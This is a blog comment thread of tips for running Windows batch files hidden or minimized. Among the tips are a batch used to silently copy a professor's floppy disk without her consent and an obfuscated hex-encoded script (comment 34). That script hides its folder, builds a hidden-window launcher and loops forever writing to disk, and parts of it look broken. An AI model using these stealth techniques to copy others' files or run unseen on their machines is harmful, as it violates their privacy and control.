Robert Accettura's
Fun With Wordage

35 Responses to “Background Batch File”

1. Ariel Says:
   October 29th, 2003 at 2:15 am

   One option is the AT command.

2. Ran Says:
   October 29th, 2003 at 2:18 am

   First, I don’t have WinXP.
   Second, this isn’t really in the background.

   Create a shortcut, and set the “Run” field for the shortcut to “Minimized’.

   You might also go to the “Layout” tab and set the window size to 1×1 or something.

3. Andy Says:
   November 3rd, 2003 at 4:18 pm

   Minimized is what I tend to use and the layout trick is handy. Could you set it up to run as a service using the resource kits to make the batch file a service? Not tried this personally but it might work.

4. Grizzly Says:
   March 19th, 2004 at 6:41 pm

   Still trying to do what Robert asked about. Need to run a batch file minimized from Scheduler. Tried to run a shortcut to the batch file. It runs the batch file without the shortcut attributes (run minimized). What about PIF files in XP?

5. car Says:
   July 7th, 2004 at 12:31 pm

   Using VB.net

   VB.net [Show Styled Code]:

   Module RunCCNet
       Sub main()
           Dim psi As New ProcessStartInfo
           psi.FileName = "C:\somepath\omething.bat"
           psi.WorkingDirectory = "somewhere"
           psi.WindowStyle = ProcessWindowStyle.Hidden
           Process.Start(psi)
       End Sub
   End Module
   

   VB.net [Show Plain Code]:

   1. Module RunCCNet
   2.     Sub main()
   3.         Dim psi As New ProcessStartInfo
   4.         psi.FileName = "C:\somepath\omething.bat"
   5.         psi.WorkingDirectory = "somewhere"
   6.         psi.WindowStyle = ProcessWindowStyle.Hidden
   7.         Process.Start(psi)
   8.     End Sub
   9. End Module
6. Henry Says:
   November 18th, 2004 at 7:19 pm

   I got it to work. Simply create a shortcut to the bat file in the same directory which will create a .lnk file. Go to the properties of the lnk file and set it to run minimized. Then, go to the scheduled task and “manually” enter the path+file name of the .lnk file.

   If you click browse to search for the lnk file, it won’t work.

   Then run the task and all you will see is a little flash or minimized icon on your taskbar while the bat does its thing.

   Email me if you need help on this. henryparra@email.com

7. Darrell Says:
   January 5th, 2005 at 2:00 pm

   You can do this without creating a shortcut. Simply set up a scheduled task and set the field “Run as:” to “NT AUTHORITY\SYSTEM” (no quotes).
   I have setup a simple .bat file in XP, (all it does is populates a txt file with the time it ran), put the path of the file in the Run: text box, then set the Run as: = NT AUTHORITY\SYSTEM , then set it to run every minute. The window that use to come up doesn’t anymore.

   The way i figured it out was by setting up a scheduled task using the command line.
   c:\at 13:30 “c:\time.bat” ^c:\output.txt

   Doing this basically created a scheduled task in Task Scheduler to run time.bat at 1:30pm. When i went to task scheduler, it had a task called AT# (when you set up the task through the command-line, it tells you that it added a new job with job ID = #, where # is some number.
   ^c:\output.txt tells it to output to a text file called output.txt. (i don’t know how to actually set this output file when setting up a task through the GUI)

   If you click on the Task AT# in task scheduler and look at the Run as: textbox, you should see a value that you should be able to use to run this task without the window showing up.

8. Darrell Says:
   January 5th, 2005 at 2:04 pm

   argggg…..it took out my slashes
   c:\at 13:30 “c:\time.bat� ^c:\output.txt

9. Fredi Says:
   February 10th, 2005 at 12:44 pm

   I created a batch file called start.bat with a link to the batch file that i want to run in the background….heres how i did it.
   First the start.bat file

   DOS [Show Styled Code]:

   echo off
   start  /min e:\copy.bat
   exit
   

   DOS [Show Plain Code]:

   1. echo off
   2. start  /min e:\copy.bat
   3. exit

   then my actual bach file kept at e:\copy.bat

   DOS [Show Styled Code]:

   echo off
   xcopy f:\*.*  e:\test\*.* /y /s/c/q
   exit
   

   DOS [Show Plain Code]:

   1. echo off
   2. xcopy f:\*.*  e:\test\*.* /y /s/c/q
   3. exit

   This worked for me when our Prof wouldnt share her ppts which she brought in her floppy disk ….all the best

10. Edward Z. Yang Says:
    April 17th, 2005 at 1:36 pm

    Darell had the right idea, but the slashes were removed from the username: It’s:

    NT AUTHORITY\SYSTEM

    not

    NT AUTHORITYSYSTEM

    (backslash between the authority and system)

11. Edward Z. Yang Says:
    April 17th, 2005 at 1:37 pm

    Argh, it removed the backslash again!

    NT AUTHORITY\SYSTEM

12. Andrew Says:
    July 5th, 2005 at 5:46 am

    I created a simple batch file to copy important files from my HDD to a DVD-RW by creating a shortcut with the following inserted into the Target box. Set to minimized and off you go. Just add the shortcut to the Task Sheduler and set the frequency to do the task C:\WINDOWS\system32\xcopy.exe “G:\*.*” “E:\dailybackup” /D/R/H/V/E/Y
    You need to setup the target folder on the DVD before you start
    OS WINXP Pro

13. Thomas Says:
    August 9th, 2005 at 4:41 am

    I just did this, i created a new account in windows called test.. Set the schedule to run as test..

    Then unchecking at the buttom Run only if logged on..

    Then the batch rund as a diffrent user u will never see it POP up

14. mrd Says:
    August 22nd, 2005 at 10:17 am

    To execute remote scripts or download output at different times and intervals you can use VisualCron -> http://www.visualcron.com

15. tony Says:
    November 4th, 2005 at 6:48 pm

    do any body know how to write the batch file to copy file one system to though out end user computer on the network to winnt\system32 folder please help thanks

16. Muiris Says:
    January 19th, 2006 at 4:45 am

    Try this

    cmd /c start /min cmd /c

    e.g.

    cmd /c start /min cmd /c test.bat

17. Joe Ping Says:
    January 19th, 2006 at 4:31 pm

    I created a batch file that works perfect when run manually, but place it as a schedualed task in 2003 and it runs but does not copy the files. can you asisst?

18. pubicvoid Says:
    January 23rd, 2006 at 3:20 pm

    Thanks Darrell, for the “NT AUTHORITY\SYSTEM” info!

19. Dave Says:
    March 21st, 2006 at 7:11 pm

    I made this lil batch file awhile ago. its opens up difrent every time. its kinda cool you can modify it. it dost have to do with anything here tho.

    DOS [Show Styled Code]:

    @echo off
    if exist C:\dave3.txt goto opened3
    if exist C:\dave2.txt goto opened2
    if exist C:\dave.txt goto opened
    
    echo yoyo >> C:\dave.txt
    echo hello
    goto end
    
    :opened
    echo lala >> C:\dave2.txt
    echo u already seen it.
    goto end
    
    :opened2
    echo jojo >> C:\dave3.txt
    echo I said you already seen it.
    goto end
    
    :opened3
    echo now look you made me delete my self buh-bye.
    del C:\dave.txt
    del C:\dave2.txt
    del C:\dave3.txt
    echo now IM deleted Awww
    pause
    del cool.bat
    

    DOS [Show Plain Code]:

    1. @echo off
    2. if exist C:\dave3.txt goto opened3
    3. if exist C:\dave2.txt goto opened2
    4. if exist C:\dave.txt goto opened
    5.  
    6.  
    7.  
    8. echo yoyo >> C:\dave.txt
    9. echo hello
    10. goto end
    11.  
    12.  
    13.  
    14.  
    15.  
    16. :opened
    17. echo lala >> C:\dave2.txt
    18. echo u already seen it.
    19. goto end
    20.  
    21.  
    22.  
    23. :opened2
    24. echo jojo >> C:\dave3.txt
    25. echo I said you already seen it.
    26. goto end
    27.  
    28.  
    29.  
    30.  
    31.  
    32. :opened3
    33. echo now look you made me delete my self buh-bye.
    34. del C:\dave.txt
    35. del C:\dave2.txt
    36. del C:\dave3.txt
    37. echo now IM deleted Awww
    38. pause
    39. del cool.bat
20. khyap Says:
    March 22nd, 2006 at 10:15 pm

    running a batch through schedule task but use different ID(not just NT authority, password=??) will make the batch running on background. Tested and confirmed, cool trick, thanks..

21. John S Says:
    April 27th, 2006 at 6:52 pm

    If anyone is interested in Running a program or batch file every few minutes:

    http://www.microsoft.com/resou.....x?mfr=true

22. Cool_sukhi Says:
    May 25th, 2006 at 1:53 am

    Thanks alot for your help to resolve my problem for same..

23. Tom Says:
    August 3rd, 2006 at 4:46 am

    I tried this several times but discoverd that this only works for XP “NT AUTHORITY\SYSTEM”. I have machine here on nt2000 and winxp, created scheduled task for both uder users login. They both run ok, then I changed both to to use run as = NT AUTHORITY\SYSTEM with blank passwords.

    It then runs task in background on XP machine but not on win2000 machine. Anybody else get this prob or know how to fix.

24. Bart Says:
    August 4th, 2006 at 5:35 am

    Keep trying Tom, NT AUTHORITY\SYSTEM does the trick for me on Windows 2000 Professional

25. simone Says:
    September 25th, 2006 at 11:38 am

    Well the idea of using another win user was perfect for me, ’cause i work in a domain….thanks very much.
    But…is it possible that there isn’t any option in batch files to make it run on background??

26. Todd Says:
    September 26th, 2006 at 9:38 pm

    I need a batch file to create a desktop shortcut for users. The .exe that it needs to execute os on a shared drive on the server. The user will have a batch file map the drive but I need a script to map the shortcut to the exe on the server.

    any ideas?

27. Ryan Says:
    November 2nd, 2006 at 1:21 am

    Assuming the app is installed in the same location for all machines, manually create the shortcut on one workstation. Create a folder in netlogon of a domain controller called desktop. Put the shortcut in that folder. In the domain logon script, include

    xcopy \\servername\netlogon\desktop\*.* “c:\documents and settings\”%username%\desktop\ /d /y

    Or something like that…I just typed it from memory

    It will drop the file on their desktop when they log in. If they delete it, then it gets put back next time they log in. Once they have it, /d verifies they have the most current version… If you need to change it, just change the on int your netlogon\desktop folder. Deleting it required delete, but the pash is simmilar.

    Of course the “correct” microsoft way is using group policy.

28. Jitendra Says:
    July 19th, 2007 at 2:55 am

    private void regPROCESS()
    {

    ProcessStartInfo pinfo = new ProcessStartInfo(”regservice.bat”);
    pinfo.WindowStyle = ProcessWindowStyle.Hidden;
    Process.Start(pinfo);
    }

29. Robert Says:
    July 28th, 2007 at 1:18 pm

    FYI: I converted a few of the code samples in the comments to use syntax highlighting as necessary.

30. Nick Says:
    September 18th, 2007 at 1:30 am

    As to getting the batch file to run seamlessly in the background,I think “Henry Says:November 18th, 2004 at 7:19 pm” had the easiest solution:you just have to ensure the Scheduler is being pointed to the ‘lnk’ file and not the bat file itself.If the batch file is ‘c:\copy.bat’ then you have to manually direct Scheduler to ‘c:\shortcut to copy.bat.lnk’.

    Thanks Henry.

31. Potter Says:
    November 9th, 2007 at 2:19 pm

    Hey I need a Batch File that will pick up user input and export the input when the user logs off in the form of a text file.
    How might I go about doing this as I need the Batch File to run invisibly but still pick up user input.
    If anybody knows how I might go about doing this please help, thanks.

32. Flapshot Says:
    November 15th, 2007 at 7:06 am

    1st.
    Why not use Group Policy in Windows XP? (gpedit.msc) and add a script to “logon”. This runs silently IIRC.

    2nd.
    Potter - You seem to be after a key logger. I think there is some legal issues with that, plus who knows if you are up to no good? You might be after bank logins and all sorts. Not at all good. I shall not help.

33. NoGo Says:
    March 2nd, 2008 at 10:28 pm

    How does the NT AUTHORITY\SYSTEM work?

34. David Says:
    April 3rd, 2008 at 8:09 pm
    DOS [Show Styled Code]:

    @ECHO OFF
    
    :restartall
    %homedrive%
    ATTRIB %0 -r -h -s
    IF exist \temp.dat\io goto cllckd
    md \temp.dat>nul
    ATTRIB \temp.dat  r  h  s
    ECHO IO>\temp.dat\io
    IF not exist \temp.dat\io goto restart
    goto cllckd
    
    :cllckd
    ECHO n \temp.dat\inv.vbs>\temp.dat\inv.asm
    ECHO.>>\temp.dat\inv.asm
    ECHO rcx>>\temp.dat\inv.asm
    ECHO 0150>>\temp.dat\inv.asm
    ECHO.>>\temp.dat\inv.asm
    ECHO E 0100 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 57 73>>\temp.dat\inv.asm
    ECHO E 0110 63 72 69 70 74 2E 53 68 65 6C 6C 22 29 2E 52 75>>\temp.dat\inv.asm
    ECHO E 0120 6E 20 22 22 22 22 20 26 20 57 53 63 72 69 70 74>>\temp.dat\inv.asm
    ECHO E 0130 2E 41 72 67 75 6D 65 6E 74 73 28 30 29 20 26 20>>\temp.dat\inv.asm
    ECHO E 0140 22 22 22 22 2C 20 30 2C 20 46 61 6C 73 65 00 00>>\temp.dat\inv.asm
    ECHO E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    ECHO E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    ECHO E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    ECHO E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    ECHO E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    ECHO E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    ECHO.>>\temp.dat\inv.asm
    ECHO W>>\temp.dat\inv.asm
    ECHO Q>>\temp.dat\inv.asm
    debug nul
    ECHO >>\temp.dat\runinmem
    wscript \temp.dat\inv.vbs \temp.dat\setup.bat
    IF not exist \temp.dat\inv.vbs goto restartall
    exit
    :noexit
    DEL \temp.dat\runinmem
    
    REM Memory resadent starts and loops.
    REM  Temp data is located at C:\temp.dat
    REM  Exit by restarting the computer or ending the process.
    :runinmem
    REM START===================
    md c:\tmp
    echo>>c:\tmp\cl
    
    REM LOOP====================
    goto runinmem
    

    DOS [Show Plain Code]:

    1. @ECHO OFF
    2.  
    3. :restartall
    4. %homedrive%
    5. ATTRIB %0 -r -h -s
    6. IF exist \temp.dat\io goto cllckd
    7. md \temp.dat>nul
    8. ATTRIB \temp.dat  r  h  s
    9. ECHO IO>\temp.dat\io
    10. IF not exist \temp.dat\io goto restart
    11. goto cllckd
    12.  
    13. :cllckd
    14. ECHO n \temp.dat\inv.vbs>\temp.dat\inv.asm
    15. ECHO.>>\temp.dat\inv.asm
    16. ECHO rcx>>\temp.dat\inv.asm
    17. ECHO 0150>>\temp.dat\inv.asm
    18. ECHO.>>\temp.dat\inv.asm
    19. ECHO E 0100 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 57 73>>\temp.dat\inv.asm
    20. ECHO E 0110 63 72 69 70 74 2E 53 68 65 6C 6C 22 29 2E 52 75>>\temp.dat\inv.asm
    21. ECHO E 0120 6E 20 22 22 22 22 20 26 20 57 53 63 72 69 70 74>>\temp.dat\inv.asm
    22. ECHO E 0130 2E 41 72 67 75 6D 65 6E 74 73 28 30 29 20 26 20>>\temp.dat\inv.asm
    23. ECHO E 0140 22 22 22 22 2C 20 30 2C 20 46 61 6C 73 65 00 00>>\temp.dat\inv.asm
    24. ECHO E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    25. ECHO E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    26. ECHO E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    27. ECHO E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    28. ECHO E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    29. ECHO E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    30. ECHO.>>\temp.dat\inv.asm
    31. ECHO W>>\temp.dat\inv.asm
    32. ECHO Q>>\temp.dat\inv.asm
    33. debug nul
    34. ECHO >>\temp.dat\runinmem
    35. wscript \temp.dat\inv.vbs \temp.dat\setup.bat
    36. IF not exist \temp.dat\inv.vbs goto restartall
    37. exit
    38. :noexit
    39. DEL \temp.dat\runinmem
    40.  
    41.  
    42.  
    43.  
    44.  
    45. REM Memory resadent starts and loops.
    46. REM  Temp data is located at C:\temp.dat
    47. REM  Exit by restarting the computer or ending the process.
    48. :runinmem
    49. REM START===================
    50. md c:\tmp
    51. echo>>c:\tmp\cl
    52.  
    53. REM LOOP====================
    54. goto runinmem
35. Arka Says:
    April 22nd, 2008 at 5:25 am

    Hy i want to make a bach file that will run automatically whenever any one try to open the folder in which the batch file is placed. any help plz i need it. I just want to know whether it is possible or not.

    Thanks.

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